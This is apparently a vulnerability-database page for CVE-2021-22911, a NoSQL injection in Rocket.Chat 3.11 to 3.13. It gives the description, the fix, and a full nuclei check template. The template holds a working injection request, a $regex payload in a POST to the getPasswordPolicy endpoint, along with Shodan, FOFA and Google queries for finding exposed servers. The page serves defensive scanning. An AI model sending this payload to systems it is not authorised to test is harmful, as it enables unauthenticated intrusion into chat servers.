HexBrain

Browse / CVEs / CVE-2021-22911

CVE-2021-22911· rocket.chat / rocket.chat· CWE-75, NVD-CWE-Other

Rocket.Chat <=3.13 - NoSQL Injection

criticalseverity
9.8CVSS score
95.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Rocket.Chat 3.11, 3.12 and 3.13 contains a NoSQL injection vulnerability which allows unauthenticated access to an API endpoint. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary NoSQL queries, leading to unauthorized access, data manipulation, or denial of service.

Fix

Upgrade Rocket.Chat to a version higher than 3.13 or apply the provided patch to mitigate the vulnerability.

How to confirm it

Send: POST /api/v1/method.callAnon/getPasswordPolicy
Positive when: contains "[error-invalid-user]" and "\"success\":true" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2021-22911 -u <target>

The full check
id: CVE-2021-22911

info:
  name: Rocket.Chat <=3.13 - NoSQL Injection
  author: tess,sullo
  severity: critical
  description: Rocket.Chat 3.11, 3.12 and 3.13 contains a NoSQL injection vulnerability which allows unauthenticated access to an API endpoint. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary NoSQL queries, leading to unauthorized access, data manipulation, or denial of service.
  remediation: |
    Upgrade Rocket.Chat to a version higher than 3.13 or apply the provided patch to mitigate the vulnerability.
  reference:
    - http://packetstormsecurity.com/files/162997/Rocket.Chat-3.12.1-NoSQL-Injection-Code-Execution.html
    - https://github.com/vulhub/vulhub/tree/master/rocketchat/CVE-2021-22911
    - https://hackerone.com/reports/1130721
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22911
    - https://blog.sonarsource.com/nosql-injections-in-rocket-chat
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22911
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-22911
    cwe-id: CWE-75,NVD-CWE-Other
    epss-score: 0.95242
    epss-percentile: 0.99865
    cpe: cpe:2.3:a:rocket.chat:rocket.chat:3.11.0:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: rocket.chat
    product: rocket.chat
    shodan-query:
      - http.title:"Rocket.Chat"
      - http.title:"rocket.chat"
    fofa-query: title="rocket.chat"
    google-query: intitle:"rocket.chat"
  tags: cve2021,cve,rocketchat,nosqli,packetstorm,vulhub,hackerone,rocket.chat,sqli,vkev,vuln

http:
  - raw:
      - |-
        POST /api/v1/method.callAnon/getPasswordPolicy HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"message": "{\"msg\":\"method\", \"method\": \"getPasswordPolicy\", \"params\": [{\"token\": {\"$regex\": \"^{{randstr}}\"}}] }"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '[error-invalid-user]'
          - '"success":true'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from